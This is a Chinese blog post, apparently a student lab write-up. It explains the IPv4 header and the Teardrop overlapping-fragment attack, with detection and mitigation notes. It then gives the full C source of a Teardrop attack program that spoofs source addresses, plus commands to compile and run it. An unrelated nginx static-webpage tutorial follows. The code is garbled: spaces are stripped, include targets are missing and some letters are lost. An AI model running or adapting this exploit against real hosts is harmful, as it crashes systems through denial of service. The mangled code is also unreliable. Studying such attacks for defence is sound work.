Teardrop攻击--伪造虚假的IP数据包发送并抓取及完成简易静态⽹页
⽬录
Teardrop攻击–伪造虚假的IP数据包发送并抓取
⼀、相关介绍
协议
IP是InternetProtocol(⽹际互连协议)的缩写,是TCP/IP体系中的⽹络层协议。设计IP的⽬的是提⾼⽹络的可扩展性:⼀是解决互联⽹
问题,实现⼤规模、异构⽹络的互联互通;⼆是分割顶层⽹络应⽤和底层⽹络技术之间的耦合关系,以利于两者的独⽴发展。根据端到
端的设计原则,IP只为主机提供⼀种⽆连接、不可靠的、尽⼒⽽为的数据包传输服务。
⽬前普遍使⽤的还是IPv4,报⽂格式如下:
说明:
版本(4bit):4代表IPv4
⾸部长度(4bit):这⾥的5代表5*4=20,将这⾥的数乘以4就是⾸部的长度,因此我们抓取的这个数据报的IP⾸部长度为20
区分服务(8bit):⽤来获得更好的服务。这个字段在旧标准中叫做服务类型,但实际上⼀直没有被使⽤过,其⼀般位0
总长度(16bit):代表IP数据报的总长度,单位是字节,共16位,因此IP数据报最⼤长度为2^16-1=65535字节
标识(16bit):⽤于标识IP数据报。由于在不同的⽹络环境中的MTU不同,IP数据报有时需要分⽚,为了正确重组IP数据报,故每个数
据报有标识字段,标识该分组的⼀个随机号
标志(3bit):最低⼀位为MF(morefragment)标识后⾯是否还有碎⽚,中⼀位DF(don’tfragment)表⽰该数据报是否允许被分⽚
⽚偏移(13bit):⽤于标识该碎⽚在整个数据报中的位置
检验和(16bit):仅校验头部,⽽不检验数据部分
TTL(8bit):单位是路由次数,表⽰最多经过多少路由
协议(8bit):携带的数据是何种协议,即该数据应该交付⾄哪层传输层协议,其中6表⽰TCP,17表⽰UDP
源IP(16bit)
⽬的IP(16bit)
op攻击
介绍:Teardrop攻击是⼀种畸形报⽂攻击。是基于UDP的病态分⽚数据包的攻击⽅法,其⼯作原理是向被攻击者发送多个分⽚的IP包
(IP分⽚数据包中包括该分⽚数据包属于哪个数据包以及在数据包中的位置等信息),某些操作系统收到含有重叠偏移的伪造分⽚数据
包时将会出现系统崩溃、重启等现象。
攻击特征:Teardrop是基于UDP的病态分⽚数据包的攻击⽅法,其⼯作原理是向被攻击者发送多个分⽚的IP包(IP分⽚数据包中包括
该分⽚数据包属于哪个数据包以及在数据包中的位置等信息),某些操作系统收到含有重叠偏移的伪造分⽚数据包时将会出现系统崩
溃、重启等现象。(利⽤UDP包重组时重叠偏移(假设数据包中第⼆⽚IP包的偏移量⼩于第⼀⽚结束的位移,⽽且算上第⼆⽚IP包
的Data,也未超过第⼀⽚的尾部,这就是重叠现象。)的漏洞对系统主机发动畸形报⽂攻击,最终导致主机宕机;对于Windows系统
会导致蓝屏死机,并显⽰STOP0x0000000A错误。)
检测⽅法:对接收到的分⽚数据包进⾏分析,计算数据包的⽚偏移量(Offt)是否有误。
反攻击⽅法:添加系统补丁程序,丢弃收到的病态分⽚数据包并对这种攻击进⾏审计。尽可能采⽤最新的操作系统,或者在防⽕墙上设
置分段重组功能,由防⽕墙先接收到同⼀原包中的所有拆分数据包,然后完成重组⼯作,⽽不是直接转发。因为防⽕墙上可以设置当出
现重叠字段时所采⽤的规则。
⼆、编写Teardrop程序(伪造⼀个虚假地址的IP包)
在ubuntu上敲命令:
mkdirTeardrop
cdTeardrop
nanoTeardrop.c
代码:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifdefSTRANGE_BSD_BYTE_ORDERING_THING
/*OpenBSD<2.1,allFreeBSDandnetBSD,BSDi<3.0*/
#defineFIX(n)(n)
#el
/*OpenBSD2.1,allLinux*/
#defineFIX(n)htons(n)
#endif/*STRANGE_BSD_BYTE_ORDERING_THING*/
#defineIP_MF0x2000/*MoreIPfragmentenroute*/
#defineIPH0x14/*IPheadersize*/
#defineUDPH0x8/*UDPheadersize*/
#definePADDING0x1c/*datagramframepaddingforfirstpacket*/
#defineMAGIC0x3/*MagicFragmentConstant(tm).Shouldbe2or3*/
#defineCOUNT0x1/*Linuxdieswith1,NTismorestalwartandcan
*withstandmaybe5or10sometimes...Experiment.*/
voidusage(u_char*);
u_longname_resolve(u_char*);
voidnd_frags(int,u_long,u_long,u_short,u_short);
intmain(intargc,char**argv)
{
intone=1,count=0,i,rip_sock;
//定义源地址和⽬的地址
u_longsrc_ip=0,dst_ip=0;
//定义源端⼝和⽬的端⼝
u_shortsrc_prt=0,dst_prt=0;
//定义⼀个32位的IPv4地址
structin_addraddr;
printf("teardroproute|daemon9nn");
//创建原始套接字
if((rip_sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0)
{
fprintf(stderr,"rawsocket");
exit(1);
}
//设置套接字选项IP_HDRINCL
if(tsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,
(char*)&one,sizeof(one))<0)
{
fprintf(stderr,"IP_HDRINCL");
exit(1);
}
if(argc<3)
if(argc<3)
usage(argv[0]);
//设置源IP和⽬的IP
if(!(src_ip=name_resolve(argv[1]))||!(dst_ip=name_resolve(argv[2])))
{
fprintf(stderr,"WhatthehellkindofIPaddressisthat?n");
exit(1);
}
while((i=getopt(argc,argv,"s:t:n:"))!=EOF)
{
switch(i)
{
ca's'://sourceport(shouldbeemphemeral)
src_prt=(u_short)atoi(optarg);
break;
ca't'://destport(DNS,anyone?)
dst_prt=(u_short)atoi(optarg);
break;
ca'n'://numbertond
count=atoi(optarg);
break;
default:
usage(argv[0]);
break;//NOTREACHED
}
}
srandom((unsigned)(utimes("0",(time_t)0)));
if(!src_prt)src_prt=(random()%0xffff);
if(!dst_prt)dst_prt=(random()%0xffff);
if(!count)
count=COUNT;
printf("Deathonflaxenwings:n");
addr.s_addr=src_ip;
printf("From:%15s.%5dn",inet_ntoa(addr),src_prt);
addr.s_addr=dst_ip;
printf("To:%15s.%5dn",inet_ntoa(addr),dst_prt);
printf("Amt:%5dn",count);
printf("[n");
for(i=0;i
{
nd_frags(rip_sock,src_ip,dst_ip,src_prt,dst_prt);
//printf("b00m");
usleep(500);
}
printf("]n");
return(0);
}
//设置IP包的内容
voidnd_frags(intsock,u_longsrc_ip,u_longdst_ip,u_shortsrc_prt,u_shortdst_prt)
{
u_char*packet=NULL,*p_ptr=NULL,*flag=NULL;//packetpointers
u_charbyte;//abyte
//套接字地址结构
structsockaddr_insin;/*socketprotocolstructure*/
_family=AF_INET;
_port=src_prt;
_addr.s_addr=dst_ip;
packet=(u_char*)malloc(IPH+UDPH+PADDING);
p_ptr=packet;
flag=packet;
bzero((u_char*)p_ptr,IPH+UDPH+PADDING);
//IPversionandheaderlength
byte=0x45;
memcpy(p_ptr,&byte,sizeof(u_char));
memcpy(p_ptr,&byte,sizeof(u_char));
p_ptr+=2;//IPTOS(skipped)
//totallength
*((u_short*)p_ptr)=FIX(IPH+UDPH+PADDING);
p_ptr+=2;
*((u_short*)p_ptr)=htons(242);//IPid
p_ptr+=2;
//IPfragflagsandofft
*((u_short*)p_ptr)|=FIX(IP_MF);
p_ptr+=2;
*((u_short*)p_ptr)=0x40;//IPTTL
byte=IPPROTO_UDP;
memcpy(p_ptr+1,&byte,sizeof(u_char));
//IPchecksumfilledinbykernel
p_ptr+=4;
//IPsourceaddress
*((u_long*)p_ptr)=src_ip;
p_ptr+=4;
//IPdestinationaddress
*((u_long*)p_ptr)=dst_ip;
p_ptr+=4;
*((u_short*)p_ptr)=htons(src_prt);//UDPsourceport
p_ptr+=2;
*((u_short*)p_ptr)=htons(dst_prt);//UDPdestinationport
p_ptr+=2;
*((u_short*)p_ptr)=htons(PADDING);//UDPtotallength
p_ptr+=4;
//发送数据:FakeNews
*((u_short*)p_ptr)=0x46;
p_ptr++;
*((u_short*)p_ptr)=0x61;
p_ptr++;
*((u_short*)p_ptr)=0x6B;
p_ptr++;
*((u_short*)p_ptr)=0x65;
p_ptr++;
*((u_short*)p_ptr)=0x20;
p_ptr++;
*((u_short*)p_ptr)=0x4E;
p_ptr++;
*((u_short*)p_ptr)=0x65;
p_ptr++;
*((u_short*)p_ptr)=0x77;
p_ptr++;
*((u_short*)p_ptr)=0x73;
inti=1;
while(i<=56)
{
printf("%xt",*flag);
flag++;
if(0==i%8)
printf("n");
i++;
}
if(ndto(sock,packet,IPH+UDPH+PADDING,0,
(structsockaddr*)&sin,sizeof(structsockaddr))==-1)
{
fprintf(stderr,"nndto");
free(packet);
exit(1);
}
//IPtotallengthis2bytesintotheheader
p_ptr=&packet[2];
p_ptr=&packet[2];
*((u_short*)p_ptr)=FIX(IPH+MAGIC+1);
//IPofftis6bytesintotheheader
p_ptr+=4;
*((u_short*)p_ptr)=FIX(MAGIC);
if(ndto(sock,packet,IPH+MAGIC+1,0,
(structsockaddr*)&sin,sizeof(structsockaddr))==-1)
{
fprintf(stderr,"nndto");
free(packet);
exit(1);
}
free(packet);
}
//获取主机信息
u_longname_resolve(u_char*host_name)
{
structin_addraddr;
structhostent*host_ent;
if((addr.s_addr=inet_addr(host_name))==-1)
{
if(!(host_ent=gethostbyname(host_name)))return(0);
bcopy(host_ent->h_addr,(char*)&addr.s_addr,host_ent->h_length);
}
return(addr.s_addr);
}
voidusage(u_char*name)
{
fprintf(stderr,"%ssrc_ipdst_ip[-ssrc_prt][-tdst_prt][-nhow_many]n",name);
exit(0);
}
编译运⾏:
gccTeardrop.c-oTeardrop
sudo./Teardrop100.100.100.100200.200.200.200
采⽤wireshark抓包分析
三、参考链接
.
.
.
完成简易静态⽹页
⼀、下载相关软件及配置环境
s下载
.
配置环境
①更新源
sudoapt-getupdate
②安装依赖库
sudoapt-getinstallbuild-esntiallibtoolopenssllibpcre3libpcre3-devzlib1g-dev
③下载nginx
wget/download/
④解压并进⼊该⽬录
cdnginx-1.14.2/
⑤将nginx安装到/usr/local/nginx⽬录
./configure--prefix=/usr/local/nginx
⑥切换到root⽤户
suroot
⑦编译,安装
makeinstall
⑧安装git
sudoapt-getinstallgit
3.测试Nginx
①执⾏启动命令
/usr/local/nginx/sbin/nginx
②查看是否有nginx进程,如果有,则说明成功
ps-ef|grepnginx
③打开浏览器输⼊localhost,效果如下:
4.其他Nginx指令
①停⽌服务
/usr/local/nginx/sbin/nginx-sstop
②重新加载配置
/usr/local/nginx/sbin/nginx-sreload
③测试配置⽂件是否正确
/usr/local/nginx/sbin/nginx-t
⼆、使⽤gitee
参考:
.
.
三、配置个⼈介绍⽹页
1.进⼊nginx的安装⽬录,删除默认的html⽂件
cd/usr/local/nginx
suroot
rm-rfhtml
ne个⼈介绍⽹站
gitclone/liao-zuzeng/
3.将下载⽂件重命名
mvyunkaichu/html
4.重新加载配置
/usr/local/nginx/sbin/nginx-sreload
5.然后刷新浏览器,效果如下:
gitee代码:.
四、参考链接
.
本文发布于:2022-11-25 10:31:53,感谢您对本站的认可!
本文链接:http://www.wtabcd.cn/fanwen/fan/90/17955.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |